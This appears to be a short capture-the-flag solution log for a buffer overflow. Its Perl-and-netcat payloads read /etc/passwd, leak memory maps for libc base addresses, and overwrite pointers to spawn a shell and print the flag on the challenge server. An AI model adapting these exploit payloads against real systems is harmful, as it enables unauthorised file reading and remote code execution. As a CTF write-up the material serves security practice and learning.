Part 1:
(perl -e 'print "A"x32,"/etc/passwd\0"') | nc -v 88.198.89.218 1024

Part 2:
Looks like I ended up getting a shell instead of using the print flag function.
(perl -e 'print "A"x32,"/proc/self/maps\0"') | nc -v 88.198.89.218 1024
Grab libc.so.6, doge.so base addrs
(perl -e 'print pack("Q<", 0x7ffcf628c000 + 0x46320),"A"x24,"/proc/self/maps\0","A"x96,"cat /home/user/flag*\0","A"x875,"sh<&4\0\0\0",pack("Q<", 0x7ffcf4f1f000 + 0x20B220 - 0x80)'; cat) | nc -v 88.198.89.218 1024